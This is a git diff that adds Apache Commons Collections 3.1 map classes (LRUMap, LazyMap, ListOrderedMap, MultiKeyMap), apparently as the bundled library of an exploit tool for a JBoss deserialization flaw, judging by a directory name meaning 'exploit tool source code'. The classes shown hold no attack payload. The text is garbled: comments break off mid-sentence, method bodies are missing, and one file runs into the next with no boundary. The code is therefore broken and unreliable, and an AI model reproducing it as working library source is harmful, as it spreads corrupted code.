+ * Constructs a new, empty map with the specified initial capacity and
+ * load factor.
+ *
+ * @param maxSize the maximum size of the map, -1 for no limit,
+ * @param loadFactor the load factor
+ * @param scanUntilRemovable scan until a removeable entry is found, default false
+ * @throws IllegalArgumentException if the maximum size is less than one
+ * @throws IllegalArgumentException if the load factor is less than zero
+ * @since Commons Collections 3.1
+ */
+ public LRUMap(int maxSize, float loadFactor, boolean scanUntilRemovable) {
+ super((maxSize < 1 ? DEFAULT_CAPACITY : maxSize), loadFactor);
+ if (maxSize < 1) {
+ throw new IllegalArgumentException("LRUMap max size must be greater than 0");
+ }
+ this.maxSize = maxSize;
+ this.scanUntilRemovable = scanUntilRemovable;
+ }
+
+ /**
+ * Constructor copying elements from another map.
+ * size
and maxSize
directly.
+ * It also handles the scanUntilRemovable functionality.
+ *
+ * @param hashIndex the index into the data array to store at
+ * @param hashCode the hash code of the key to add
+ * @param key the key to add
+ * @param value the value to add
+ */
+ protected void addMapping(int hashIndex, int hashCode, Object key, Object value) {
+ if (isFull()) {
+ LinkEntry reuse = header.after;
+ boolean removeLRUEntry = false;
+ if (scanUntilRemovable) {
+ while (reuse != header) {
+ if (removeLRU(reuse)) {
+ removeLRUEntry = true;
+ break;
+ }
+ reuse = reuse.after;
+ }
+ } else {
+ removeLRUEntry = removeLRU(reuse);
+ }
+
+ if (removeLRUEntry) {
+ reuseMapping(reuse, hashIndex, hashCode, key, value);
+ } else {
+ super.addMapping(hashIndex, hashCode, key, value);
+ }
+ } else {
+ super.addMapping(hashIndex, hashCode, key, value);
+ }
+ }
+
+ /**
+ * Reuses an entry by removing it and moving it to a new place in the map.
+ *
+ * protected boolean removeLRU(LinkEntry entry) {
+ * releaseResources(entry.getValue()); // release resources held by entry
+ * return true; // actually delete entry
+ * }
+ *
+ *
+ * protected boolean removeLRU(LinkEntry entry) {
+ * if (entry.getKey().toString().startsWith("System.")) {
+ * return false; // entry not removed from LRUMap
+ * } else {
+ * return true; // actually delete entry
+ * }
+ * }
+ *
+ * The effect of returning false is dependent on the scanUntilRemovable flag.
+ * If the flag is true, the next LRU entry will be passed to this method and so on
+ * until one returns false and is removed, or every entry in the map has been passed.
+ * If the scanUntilRemovable flag is false, the map will exceed the maximum size.
+ * true
if the map is full
+ */
+ public boolean isFull() {
+ return (size >= maxSize);
+ }
+
+ /**
+ * Gets the maximum size of the map (the bound).
+ *
+ * @return the maximum number of elements the map can hold
+ */
+ public int maxSize() {
+ return maxSize;
+ }
+
+ /**
+ * Whether this LRUMap will scan until a removable entry is found when the
+ * map is full.
+ *
+ * @return true if this map scans
+ * @since Commons Collections 3.1
+ */
+ public boolean isScanUntilRemovable() {
+ return scanUntilRemovable;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Clones the map without cloning the keys or values.
+ *
+ * @return a shallow clone
+ */
+ public Object clone() {
+ return super.clone();
+ }
+
+ /**
+ * Write the map out using a custom routine.
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ doWriteObject(out);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ doReadObject(in);
+ }
+
+ /**
+ * Writes the data necessary for put()
to work in deserialization.
+ */
+ protected void doWriteObject(ObjectOutputStream out) throws IOException {
+ out.writeInt(maxSize);
+ super.doWriteObject(out);
+ }
+
+ /**
+ * Reads the data necessary for put()
to work in the superclass.
+ */
+ protected void doReadObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ maxSize = in.readInt();
+ super.doReadObject(in);
+ }
+
+}
diff --git "a/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazyMap.java" "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazyMap.java"
new file mode 100644
index 0000000..b07d46f
--- /dev/null
+++ "b/JbossAS/JbossAS_v5.x_v6.x_CVE-2017-12149/\345\210\251\347\224\250\345\267\245\345\205\267\346\272\220\347\240\201/src/org/apache/commons/collections/map/LazyMap.java"
@@ -0,0 +1,160 @@
+/*
+ * Copyright 2003-2004 The Apache Software Foundation
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.commons.collections.map;
+
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.Serializable;
+import java.util.Map;
+
+import org.apache.commons.collections.Factory;
+import org.apache.commons.collections.Transformer;
+import org.apache.commons.collections.functors.FactoryTransformer;
+
+/**
+ * Decorates another Map
to create objects in the map on demand.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * Map lazy = Lazy.map(new HashMap(), factory);
+ * Object obj = lazy.get("NOW");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is mapped to the "NOW" key in the map.
+ * SortedMap
to create objects in the map on demand.
+ *
+ * Factory factory = new Factory() {
+ * public Object create() {
+ * return new Date();
+ * }
+ * }
+ * SortedMap lazy = Lazy.sortedMap(new HashMap(), factory);
+ * Object obj = lazy.get("NOW");
+ *
+ *
+ * After the above code is executed, obj
will contain
+ * a new Date
instance. Furthermore, that Date
+ * instance is mapped to the "NOW" key in the map.
+ * Map
implementation that maintains the order of the entries.
+ * In this implementation order is maintained by original insertion.
+ * OrderedMap
.
+ * In addition, non-interface methods are provided to access the map by index.
+ * orderedMapIterator()
method provides direct access to a
+ * bidirectional iterator. The iterators from the other views can also be cast
+ * to OrderedIterator
if required.
+ * ResettableIterator
and calling reset()
.
+ * key
,
+ * or null
if none existed
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object remove(int index) {
+ return remove(get(index));
+ }
+
+ /**
+ * Gets an unmodifiable List view of the keys.
+ * Map
to ensure that the order of addition is retained
+ * using a List
to maintain order.
+ * MapIterator
.
+ * The orderedMapIterator()
method accesses an iterator that can
+ * iterate both forwards and backwards through the map.
+ * In addition, non-interface methods are provided to access the map by index.
+ * ArrayList
is used to retain order.
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ public static OrderedMap decorate(Map map) {
+ return new ListOrderedMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new empty ListOrderedMap
that decorates
+ * a HashMap
.
+ *
+ * @since Commons Collections 3.1
+ */
+ public ListOrderedMap() {
+ this(new HashMap());
+ }
+
+ /**
+ * Constructor that wraps (not copies).
+ *
+ * @param map the map to decorate, must not be null
+ * @throws IllegalArgumentException if map is null
+ */
+ protected ListOrderedMap(Map map) {
+ super(map);
+ insertOrder.addAll(getMap().keySet());
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Write the map out using a custom routine.
+ *
+ * @param out the output stream
+ * @throws IOException
+ * @since Commons Collections 3.1
+ */
+ private void writeObject(ObjectOutputStream out) throws IOException {
+ out.defaultWriteObject();
+ out.writeObject(map);
+ }
+
+ /**
+ * Read the map in using a custom routine.
+ *
+ * @param in the input stream
+ * @throws IOException
+ * @throws ClassNotFoundException
+ * @since Commons Collections 3.1
+ */
+ private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {
+ in.defaultReadObject();
+ map = (Map) in.readObject();
+ }
+
+ // Implement OrderedMap
+ //-----------------------------------------------------------------------
+ public MapIterator mapIterator() {
+ return orderedMapIterator();
+ }
+
+ public OrderedMapIterator orderedMapIterator() {
+ return new ListOrderedMapIterator(this);
+ }
+
+ /**
+ * Gets the first key in this map by insert order.
+ *
+ * @return the first key currently in this map
+ * @throws NoSuchElementException if this map is empty
+ */
+ public Object firstKey() {
+ if (size() == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return insertOrder.get(0);
+ }
+
+ /**
+ * Gets the last key in this map by insert order.
+ *
+ * @return the last key currently in this map
+ * @throws NoSuchElementException if this map is empty
+ */
+ public Object lastKey() {
+ if (size() == 0) {
+ throw new NoSuchElementException("Map is empty");
+ }
+ return insertOrder.get(size() - 1);
+ }
+
+ /**
+ * Gets the next key to the one specified using insert order.
+ * This method performs a list search to find the key and is O(n).
+ *
+ * @param key the key to find previous for
+ * @return the next key, null if no match or at start
+ */
+ public Object nextKey(Object key) {
+ int index = insertOrder.indexOf(key);
+ if (index >= 0 && index < size() - 1) {
+ return insertOrder.get(index + 1);
+ }
+ return null;
+ }
+
+ /**
+ * Gets the previous key to the one specified using insert order.
+ * This method performs a list search to find the key and is O(n).
+ *
+ * @param key the key to find previous for
+ * @return the previous key, null if no match or at start
+ */
+ public Object previousKey(Object key) {
+ int index = insertOrder.indexOf(key);
+ if (index > 0) {
+ return insertOrder.get(index - 1);
+ }
+ return null;
+ }
+
+ //-----------------------------------------------------------------------
+ public Object put(Object key, Object value) {
+ if (getMap().containsKey(key)) {
+ // re-adding doesn't change order
+ return getMap().put(key, value);
+ } else {
+ // first add, so add to both map and list
+ Object result = getMap().put(key, value);
+ insertOrder.add(key);
+ return result;
+ }
+ }
+
+ public void putAll(Map map) {
+ for (Iterator it = map.entrySet().iterator(); it.hasNext();) {
+ Map.Entry entry = (Map.Entry) it.next();
+ put(entry.getKey(), entry.getValue());
+ }
+ }
+
+ public Object remove(Object key) {
+ Object result = getMap().remove(key);
+ insertOrder.remove(key);
+ return result;
+ }
+
+ public void clear() {
+ getMap().clear();
+ insertOrder.clear();
+ }
+
+ //-----------------------------------------------------------------------
+ public Set keySet() {
+ return new KeySetView(this);
+ }
+
+ public Collection values() {
+ return new ValuesView(this);
+ }
+
+ public Set entrySet() {
+ return new EntrySetView(this, this.insertOrder);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Returns the Map as a string.
+ *
+ * @return the Map as a String
+ */
+ public String toString() {
+ if (isEmpty()) {
+ return "{}";
+ }
+ StringBuffer buf = new StringBuffer();
+ buf.append('{');
+ boolean first = true;
+ Iterator it = entrySet().iterator();
+ while (it.hasNext()) {
+ Map.Entry entry = (Map.Entry) it.next();
+ Object key = entry.getKey();
+ Object value = entry.getValue();
+ if (first) {
+ first = false;
+ } else {
+ buf.append(", ");
+ }
+ buf.append(key == this ? "(this Map)" : key);
+ buf.append('=');
+ buf.append(value == this ? "(this Map)" : value);
+ }
+ buf.append('}');
+ return buf.toString();
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the key at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object get(int index) {
+ return insertOrder.get(index);
+ }
+
+ /**
+ * Gets the value at the specified index.
+ *
+ * @param index the index to retrieve
+ * @return the key at the specified index
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object getValue(int index) {
+ return get(insertOrder.get(index));
+ }
+
+ /**
+ * Gets the index of the specified key.
+ *
+ * @param key the key to find the index of
+ * @return the index, or -1 if not found
+ */
+ public int indexOf(Object key) {
+ return insertOrder.indexOf(key);
+ }
+
+ /**
+ * Removes the element at the specified index.
+ *
+ * @param index the index of the object to remove
+ * @return the previous value corresponding the key
,
+ * or null
if none existed
+ * @throws IndexOutOfBoundsException if the index is invalid
+ */
+ public Object remove(int index) {
+ return remove(get(index));
+ }
+
+ /**
+ * Gets an unmodifiable List view of the keys which changes as the map changes.
+ * Map
implementation that uses multiple keys to map the value.
+ * get
, containsKey
, put
and
+ * remove
for individual keys which operate without extra object creation.
+ * Map
.
+ * put()
with any other object type a
+ * ClassCastException
is thrown. If you try to use null
as
+ * the key in put()
a NullPointerException
is thrown.
+ * AbstractHashedMap
which
+ * enables extra behaviour to be added easily.
+ *
+ *
+ * Note that MultiKeyMap.decorate(new LinkedMap())
creates an ordered map.
+ * MultiKeyMap.decorate(new LRUMap())
creates an least recently used map.
+ * MultiKeyMap.decorate(new ReferenceMap())
creates a garbage collector sensitive map.
+ * IdentityMap
and ReferenceIdentityMap
are unsuitable
+ * for use as the key comparison would work on the whole MultiKey, not the elements within.
+ *
+ * private MultiKeyMap cache = MultiKeyMap.decorate(new LRUMap(50));
+ *
+ * public String getAirlineName(String code, String locale) {
+ * String name = (String) cache.get(code, locale);
+ * if (name == null) {
+ * name = getAirlineNameFromDB(code, locale);
+ * cache.put(code, locale, name);
+ * }
+ * return name;
+ * }
+ *
+ *
+ * @since Commons Collections 3.1
+ * @version $Revision: 1.3 $ $Date: 2004/06/07 21:00:58 $
+ *
+ * @author Stephen Colebourne
+ */
+public class MultiKeyMap
+ implements IterableMap, Serializable {
+
+ /** Serialisation version */
+ private static final long serialVersionUID = -1788199231038721040L;
+
+ /** The decorated map */
+ protected final AbstractHashedMap map;
+
+ //-----------------------------------------------------------------------
+ /**
+ * Decorates the specified map to add the MultiKeyMap API and fast query.
+ * The map must not be null and must be empty.
+ *
+ * @param map the map to decorate, not null
+ * @throws IllegalArgumentException if the map is null or not empty
+ */
+ public static MultiKeyMap decorate(AbstractHashedMap map) {
+ if (map == null) {
+ throw new IllegalArgumentException("Map must not be null");
+ }
+ if (map.size() > 0) {
+ throw new IllegalArgumentException("Map must be empty");
+ }
+ return new MultiKeyMap(map);
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Constructs a new MultiKeyMap that decorates a HashedMap
.
+ */
+ public MultiKeyMap() {
+ super();
+ map = new HashedMap();
+ }
+
+ /**
+ * Constructor that decorates the specified map and is called from
+ * {@link #decorate(AbstractHashedMap)}.
+ * The map must not be null and should be empty or only contain valid keys.
+ * This constructor performs no validation.
+ *
+ * @param map the map to decorate
+ */
+ protected MultiKeyMap(AbstractHashedMap map) {
+ super();
+ this.map = map;
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key1, Object key2) {
+ int hashCode = hash(key1, key2);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2)) {
+ return entry.getValue();
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Checks whether the map contains the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key1, Object key2) {
+ int hashCode = hash(key1, key2);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2)) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ return false;
+ }
+
+ /**
+ * Stores the value against the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param value the value to store
+ * @return the value previously mapped to this combined key, null if none
+ */
+ public Object put(Object key1, Object key2, Object value) {
+ int hashCode = hash(key1, key2);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2)) {
+ Object oldValue = entry.getValue();
+ map.updateEntry(entry, value);
+ return oldValue;
+ }
+ entry = entry.next;
+ }
+
+ map.addMapping(index, hashCode, new MultiKey(key1, key2), value);
+ return null;
+ }
+
+ /**
+ * Removes the specified multi-key from this map.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key1, Object key2) {
+ int hashCode = hash(key1, key2);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ AbstractHashedMap.HashEntry previous = null;
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2)) {
+ Object oldValue = entry.getValue();
+ map.removeMapping(entry, index, previous);
+ return oldValue;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the hash code for the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return the hash code
+ */
+ protected int hash(Object key1, Object key2) {
+ int h = 0;
+ if (key1 != null) {
+ h ^= key1.hashCode();
+ }
+ if (key2 != null) {
+ h ^= key2.hashCode();
+ }
+ h += ~(h << 9);
+ h ^= (h >>> 14);
+ h += (h << 4);
+ h ^= (h >>> 10);
+ return h;
+ }
+
+ /**
+ * Is the key equal to the combined key.
+ *
+ * @param entry the entry to compare to
+ * @param key1 the first key
+ * @param key2 the second key
+ * @return true if the key matches
+ */
+ protected boolean isEqualKey(AbstractHashedMap.HashEntry entry, Object key1, Object key2) {
+ MultiKey multi = (MultiKey) entry.getKey();
+ return
+ multi.size() == 2 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1)));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key1, Object key2, Object key3) {
+ int hashCode = hash(key1, key2, key3);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3)) {
+ return entry.getValue();
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Checks whether the map contains the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key1, Object key2, Object key3) {
+ int hashCode = hash(key1, key2, key3);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3)) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ return false;
+ }
+
+ /**
+ * Stores the value against the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param value the value to store
+ * @return the value previously mapped to this combined key, null if none
+ */
+ public Object put(Object key1, Object key2, Object key3, Object value) {
+ int hashCode = hash(key1, key2, key3);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3)) {
+ Object oldValue = entry.getValue();
+ map.updateEntry(entry, value);
+ return oldValue;
+ }
+ entry = entry.next;
+ }
+
+ map.addMapping(index, hashCode, new MultiKey(key1, key2, key3), value);
+ return null;
+ }
+
+ /**
+ * Removes the specified multi-key from this map.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key1, Object key2, Object key3) {
+ int hashCode = hash(key1, key2, key3);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ AbstractHashedMap.HashEntry previous = null;
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3)) {
+ Object oldValue = entry.getValue();
+ map.removeMapping(entry, index, previous);
+ return oldValue;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the hash code for the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return the hash code
+ */
+ protected int hash(Object key1, Object key2, Object key3) {
+ int h = 0;
+ if (key1 != null) {
+ h ^= key1.hashCode();
+ }
+ if (key2 != null) {
+ h ^= key2.hashCode();
+ }
+ if (key3 != null) {
+ h ^= key3.hashCode();
+ }
+ h += ~(h << 9);
+ h ^= (h >>> 14);
+ h += (h << 4);
+ h ^= (h >>> 10);
+ return h;
+ }
+
+ /**
+ * Is the key equal to the combined key.
+ *
+ * @param entry the entry to compare to
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @return true if the key matches
+ */
+ protected boolean isEqualKey(AbstractHashedMap.HashEntry entry, Object key1, Object key2, Object key3) {
+ MultiKey multi = (MultiKey) entry.getKey();
+ return
+ multi.size() == 3 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1))) &&
+ (key3 == null ? multi.getKey(2) == null : key3.equals(multi.getKey(2)));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key1, Object key2, Object key3, Object key4) {
+ int hashCode = hash(key1, key2, key3, key4);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4)) {
+ return entry.getValue();
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Checks whether the map contains the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key1, Object key2, Object key3, Object key4) {
+ int hashCode = hash(key1, key2, key3, key4);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4)) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ return false;
+ }
+
+ /**
+ * Stores the value against the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param value the value to store
+ * @return the value previously mapped to this combined key, null if none
+ */
+ public Object put(Object key1, Object key2, Object key3, Object key4, Object value) {
+ int hashCode = hash(key1, key2, key3, key4);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4)) {
+ Object oldValue = entry.getValue();
+ map.updateEntry(entry, value);
+ return oldValue;
+ }
+ entry = entry.next;
+ }
+
+ map.addMapping(index, hashCode, new MultiKey(key1, key2, key3, key4), value);
+ return null;
+ }
+
+ /**
+ * Removes the specified multi-key from this map.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key1, Object key2, Object key3, Object key4) {
+ int hashCode = hash(key1, key2, key3, key4);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ AbstractHashedMap.HashEntry previous = null;
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4)) {
+ Object oldValue = entry.getValue();
+ map.removeMapping(entry, index, previous);
+ return oldValue;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the hash code for the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return the hash code
+ */
+ protected int hash(Object key1, Object key2, Object key3, Object key4) {
+ int h = 0;
+ if (key1 != null) {
+ h ^= key1.hashCode();
+ }
+ if (key2 != null) {
+ h ^= key2.hashCode();
+ }
+ if (key3 != null) {
+ h ^= key3.hashCode();
+ }
+ if (key4 != null) {
+ h ^= key4.hashCode();
+ }
+ h += ~(h << 9);
+ h ^= (h >>> 14);
+ h += (h << 4);
+ h ^= (h >>> 10);
+ return h;
+ }
+
+ /**
+ * Is the key equal to the combined key.
+ *
+ * @param entry the entry to compare to
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @return true if the key matches
+ */
+ protected boolean isEqualKey(AbstractHashedMap.HashEntry entry, Object key1, Object key2, Object key3, Object key4) {
+ MultiKey multi = (MultiKey) entry.getKey();
+ return
+ multi.size() == 4 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1))) &&
+ (key3 == null ? multi.getKey(2) == null : key3.equals(multi.getKey(2))) &&
+ (key4 == null ? multi.getKey(3) == null : key4.equals(multi.getKey(3)));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
+ * Gets the value mapped to the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @return the mapped value, null if no match
+ */
+ public Object get(Object key1, Object key2, Object key3, Object key4, Object key5) {
+ int hashCode = hash(key1, key2, key3, key4, key5);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4, key5)) {
+ return entry.getValue();
+ }
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Checks whether the map contains the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @return true if the map contains the key
+ */
+ public boolean containsKey(Object key1, Object key2, Object key3, Object key4, Object key5) {
+ int hashCode = hash(key1, key2, key3, key4, key5);
+ AbstractHashedMap.HashEntry entry = map.data[map.hashIndex(hashCode, map.data.length)];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4, key5)) {
+ return true;
+ }
+ entry = entry.next;
+ }
+ return false;
+ }
+
+ /**
+ * Stores the value against the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @param value the value to store
+ * @return the value previously mapped to this combined key, null if none
+ */
+ public Object put(Object key1, Object key2, Object key3, Object key4, Object key5, Object value) {
+ int hashCode = hash(key1, key2, key3, key4, key5);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4, key5)) {
+ Object oldValue = entry.getValue();
+ map.updateEntry(entry, value);
+ return oldValue;
+ }
+ entry = entry.next;
+ }
+
+ map.addMapping(index, hashCode, new MultiKey(key1, key2, key3, key4, key5), value);
+ return null;
+ }
+
+ /**
+ * Removes the specified multi-key from this map.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @return the value mapped to the removed key, null if key not in map
+ */
+ public Object remove(Object key1, Object key2, Object key3, Object key4, Object key5) {
+ int hashCode = hash(key1, key2, key3, key4, key5);
+ int index = map.hashIndex(hashCode, map.data.length);
+ AbstractHashedMap.HashEntry entry = map.data[index];
+ AbstractHashedMap.HashEntry previous = null;
+ while (entry != null) {
+ if (entry.hashCode == hashCode && isEqualKey(entry, key1, key2, key3, key4, key5)) {
+ Object oldValue = entry.getValue();
+ map.removeMapping(entry, index, previous);
+ return oldValue;
+ }
+ previous = entry;
+ entry = entry.next;
+ }
+ return null;
+ }
+
+ /**
+ * Gets the hash code for the specified multi-key.
+ *
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @return the hash code
+ */
+ protected int hash(Object key1, Object key2, Object key3, Object key4, Object key5) {
+ int h = 0;
+ if (key1 != null) {
+ h ^= key1.hashCode();
+ }
+ if (key2 != null) {
+ h ^= key2.hashCode();
+ }
+ if (key3 != null) {
+ h ^= key3.hashCode();
+ }
+ if (key4 != null) {
+ h ^= key4.hashCode();
+ }
+ if (key5 != null) {
+ h ^= key5.hashCode();
+ }
+ h += ~(h << 9);
+ h ^= (h >>> 14);
+ h += (h << 4);
+ h ^= (h >>> 10);
+ return h;
+ }
+
+ /**
+ * Is the key equal to the combined key.
+ *
+ * @param entry the entry to compare to
+ * @param key1 the first key
+ * @param key2 the second key
+ * @param key3 the third key
+ * @param key4 the fourth key
+ * @param key5 the fifth key
+ * @return true if the key matches
+ */
+ protected boolean isEqualKey(AbstractHashedMap.HashEntry entry, Object key1, Object key2, Object key3, Object key4, Object key5) {
+ MultiKey multi = (MultiKey) entry.getKey();
+ return
+ multi.size() == 5 &&
+ (key1 == null ? multi.getKey(0) == null : key1.equals(multi.getKey(0))) &&
+ (key2 == null ? multi.getKey(1) == null : key2.equals(multi.getKey(1))) &&
+ (key3 == null ? multi.getKey(2) == null : key3.equals(multi.getKey(2))) &&
+ (key4 == null ? multi.getKey(3) == null : key4.equals(multi.getKey(3))) &&
+ (key5 == null ? multi.getKey(4) == null : key5.equals(multi.getKey(4)));
+ }
+
+ //-----------------------------------------------------------------------
+ /**
